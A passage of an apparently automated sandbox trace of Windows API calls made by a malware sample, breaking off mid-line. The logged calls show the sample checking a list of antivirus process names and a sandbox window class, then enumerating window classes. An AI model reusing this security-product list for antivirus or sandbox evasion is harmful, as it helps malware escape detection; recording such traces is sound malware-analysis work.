[0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7d0 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="avp.exe") returned 7 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff818 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="kavtray.exe") returned 11 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff828 | out: hHeap=0x2180000) returned 1 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff740 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="egui.exe") returned 8 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff850 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="ekrn.exe") returned 8 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff868 | out: hHeap=0x2180000) returned 1 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff840 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="bdagent.exe") returned 11 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff8b0 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="vsserv.exe") returned 10 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff8c8 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="vsservppl.exe") returned 13 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff8e0 | out: hHeap=0x2180000) returned 1 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7f8 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="AvastSvc.exe") returned 12 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff8f8 | out: hHeap=0x2180000) returned 1 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff898 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0234.525] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff948 | out: hHeap=0x2180000) returned 1 [0234.525] lstrlenA (lpString="PccNTMon.exe") returned 12 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff968 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="NTRTScan.exe") returned 12 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff980 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff880 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff9a8 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="SavService.exe") returned 14 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb70 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff998 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="fshoster32.exe") returned 14 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb58 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21fffd0 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="WRSA.exe") returned 8 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb88 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff910 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="vkise.exe") returned 9 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffac8 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="isesrv.exe") returned 10 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffba0 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="cmdagent.exe") returned 12 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffbb8 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb10 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="ByteFence.exe") returned 13 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffa08 | out: hHeap=0x2180000) returned 1 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff920 | out: hHeap=0x2180000) returned 1 [0234.526] lstrlenA (lpString="MBAMService.exe") returned 15 [0234.526] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffb28 | out: hHeap=0x2180000) returned 1 [0234.527] lstrlenA (lpString="mbamgui.exe") returned 11 [0234.527] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff9f0 | out: hHeap=0x2180000) returned 1 [0234.527] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff930 | out: hHeap=0x2180000) returned 1 [0234.527] lstrlenA (lpString="fmon.exe") returned 8 [0234.527] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ffaf8 | out: hHeap=0x2180000) returned 1 [0234.527] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x2186b18 | out: hHeap=0x2180000) returned 1 [0234.527] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff700 [0234.527] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0234.528] EnumWindows (lpEnumFunc=0x406934, lParam=0x19ff34) returned 1 [0234.528] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0234.529] GetClassNameA (in: hWnd=0x10136, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0234.529] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.529] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.529] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.529] GetClassNameA (in: hWnd=0x100ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.529] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x100b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x200f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x10096, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Shell_TrayWnd") returned 13 [0234.530] GetClassNameA (in: hWnd=0x10220, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9CBC27230") returned 20 [0234.530] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.530] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0234.530] GetClassNameA (in: hWnd=0x2036a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConsoleWindowClass") returned 18 [0234.531] GetClassNameA (in: hWnd=0x102f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lancasterwindow") returned 15 [0234.531] GetClassNameA (in: hWnd=0x6003e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Eossayswin") returned 10 [0234.531] GetClassNameA (in: hWnd=0x202ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="nv_Ambien_Sharp_") returned 16 [0234.531] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="utg2_cls") returned 8 [0234.531] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spgagentservicewin") returned 18 [0234.531] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spcwinclass") returned 11 [0234.531] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="omnipos_win") returned 11 [0234.531] GetClassNameA (in: hWnd=0x202d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="mxslipstream_app") returned 16 [0234.531] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="isspos_app") returned 10 [0234.532] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="fpos_win") returned 8 [0234.532] GetClassNameA (in: hWnd=0x102cc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="edcsvrwnd") returned 9 [0234.532] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="creditservicewnd") returned 16 [0234.532] GetClassNameA (in: hWnd=0x102c4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="centralcreditcardwindow") returned 23 [0234.532] GetClassNameA (in: hWnd=0x102c0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ccv_server_") returned 11 [0234.532] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="aldelocls") returned 9 [0234.532] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="afr38_win") returned 9 [0234.532] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="accupos_") returned 8 [0234.532] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="active-charge_win") returned 17 [0234.532] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="yahoomessengercls") returned 17 [0234.533] GetClassNameA (in: hWnd=0x202a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="winscp_cls") returned 10 [0234.533] GetClassNameA (in: hWnd=0x202a2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="whatsappapp") returned 11 [0234.533] GetClassNameA (in: hWnd=0x2029e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="webdrive") returned 8 [0234.533] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="trillian_app") returned 12 [0234.533] GetClassNameA (in: hWnd=0x20298, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="totalcmdwindow") returned 14 [0234.533] GetClassNameA (in: hWnd=0x20294, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="thunderbirdapp") returned 14 [0234.533] GetClassNameA (in: hWnd=0x10290, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="smartftp_cls") returned 12 [0234.533] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="skype_") returned 6 [0234.533] GetClassNameA (in: hWnd=0x10288, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="scriptftp_win") returned 13 [0234.533] GetClassNameA (in: hWnd=0x10284, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="pidgin") returned 6 [0234.534] GetClassNameA (in: hWnd=0x30280, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="outlookapp") returned 10 [0234.534] GetClassNameA (in: hWnd=0x3027c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="operamailwindow") returned 15 [0234.534] GetClassNameA (in: hWnd=0x30276, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="notepad_class") returned 13 [0234.534] GetClassNameA (in: hWnd=0x50258, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ncftp_class") returned 11 [0234.534] GetClassNameA (in: hWnd=0x50266, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="leechftpwnd") returned 11 [0234.534] GetClassNameA (in: hWnd=0x1026c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="icq_cls") returned 7 [0234.536] GetClassNameA (in: hWnd=0x20260, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="gmailnotifierprocls") returned 19 [0234.536] GetClassNameA (in: hWnd=0x2025a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="foxmailincmailwindow") returned 20 [0234.536] GetClassNameA (in: hWnd=0x4024c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flingclass") returned 10 [0234.536] GetClassNameA (in: hWnd=0x20250, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flashfxp_app") returned 12 [0234.536] GetClassNameA (in: hWnd=0x30242, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="filezilla_window") returned 16 [0234.536] GetClassNameA (in: hWnd=0x10246, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="farcls") returned 6 [0234.536] GetClassNameA (in: hWnd=0x3023c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="coreftpclass") returned 12 [0234.536] GetClassNameA (in: hWnd=0x3023a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="bitkinexcls") returned 11 [0234.537] GetClassNameA (in: hWnd=0x20236, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="barcaapp") returned 8 [0234.537] GetClassNameA (in: hWnd=0x20232, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="alftp_win") returned 9 [0234.537] GetClassNameA (in: hWnd=0x301ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="absolutetelnet_cls") returned 18 [0234.537] GetClassNameA (in: hWnd=0x5006c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="3dftpclass") returned 10 [0234.537] GetClassNameA (in: hWnd=0x30084, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PhrasesuniqueMemwnd") returned 19 [0234.537] GetClassNameA (in: hWnd=0x30086, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="parkersonicmetallicclass") returned 24 [0234.537] GetClassNameA (in: hWnd=0x3005a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Intellectualcleanerwnd") returned 22 [0234.537] GetClassNameA (in: hWnd=0x20058, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Systems_limitation_window") returned 25 [0234.537] GetClassNameA (in: hWnd=0x2006e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Tyler_wnd") returned 9 [0234.537] GetClassNameA (in: hWnd=0x20066, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="cinemaCountwindow") returned 17 [0234.537] GetClassNameA (in: hWnd=0x30056, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Canvas") returned 6 [0234.537] GetClassNameA (in: hWnd=0x8005e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="biblewindow") returned 11 [0234.538] GetClassNameA (in: hWnd=0x30190, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Teeth_cls") returned 9 [0234.538] GetClassNameA (in: hWnd=0x701be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="juryPhotographicRecommendwnd") returned 28 [0234.538] GetClassNameA (in: hWnd=0x50064, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="photo_wnd") returned 9 [0234.538] GetClassNameA (in: hWnd=0x70072, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lawyers_cohen_Accomplish_cls") returned 28 [0234.538] GetClassNameA (in: hWnd=0x40168, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CetAlgeriamunicipalwindow") returned 25 [0234.538] GetClassNameA (in: hWnd=0x30164, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="address_win") returned 11 [0234.538] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Narrative_Hosting_win") returned 21 [0234.538] GetClassNameA (in: hWnd=0x30114, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Technocls") returned 9 [0234.538] GetClassNameA (in: hWnd=0x30092, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConcludedRochesterDiscussed") returned 27 [0234.538] GetClassNameA (in: hWnd=0x30090, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Physical_illustrated_er_class") returned 29 [0234.539] GetClassNameA (in: hWnd=0x30124, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Initiative_lab_Lindsay_cls") returned 26 [0234.539] GetClassNameA (in: hWnd=0x40134, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MakeObjectcls") returned 13 [0234.539] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0234.539] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PNIHiddenWnd") returned 12 [0234.539] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.539] GetClassNameA (in: hWnd=0x10218, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.539] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9D691E130") returned 20 [0234.539] GetClassNameA (in: hWnd=0x101da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="SystemTray_Main") returned 15 [0234.539] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0234.539] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.539] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TabletModeCoverWindow") returned 21 [0234.539] GetClassNameA (in: hWnd=0x501ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.539] GetClassNameA (in: hWnd=0x20326, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.539] GetClassNameA (in: hWnd=0x10152, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0234.540] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0234.540] GetClassNameA (in: hWnd=0x200a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0234.540] GetClassNameA (in: hWnd=0x10132, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0234.540] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0234.540] GetClassNameA (in: hWnd=0x10126, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.540] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.540] GetClassNameA (in: hWnd=0x10118, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.540] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.540] GetClassNameA (in: hWnd=0x10102, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0234.540] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0234.540] GetClassNameA (in: hWnd=0x2007a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0234.540] GetClassNameA (in: hWnd=0x100be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0234.540] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0234.541] GetClassNameA (in: hWnd=0x2003c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0234.541] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLEvent") returned 10 [0234.541] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLMom") returned 8 [0234.541] GetClassNameA (in: hWnd=0x10042, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Dwm") returned 3 [0234.541] GetClassNameA (in: hWnd=0x2007e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CicLoaderWndClass") returned 17 [0234.541] GetClassNameA (in: hWnd=0x10104, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Progman") returned 7 [0234.541] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x10100, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0234.541] GetClassNameA (in: hWnd=0x10098, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x20370, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x102ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x202e6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.541] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x102de, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x102d6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202b6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202b2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x102ae, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x202aa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.542] GetClassNameA (in: hWnd=0x102a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x102a4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x102a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x2029a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x10296, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x10292, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x2028e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x20286, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x20282, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x50270, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x20278, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x10272, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x1026a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.543] GetClassNameA (in: hWnd=0x10264, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x10254, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x10248, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x20244, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x10238, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x10234, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x401f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x401f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x20080, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0234.544] GetClassNameA (in: hWnd=0x20082, lpClassName=0x19fdc8, 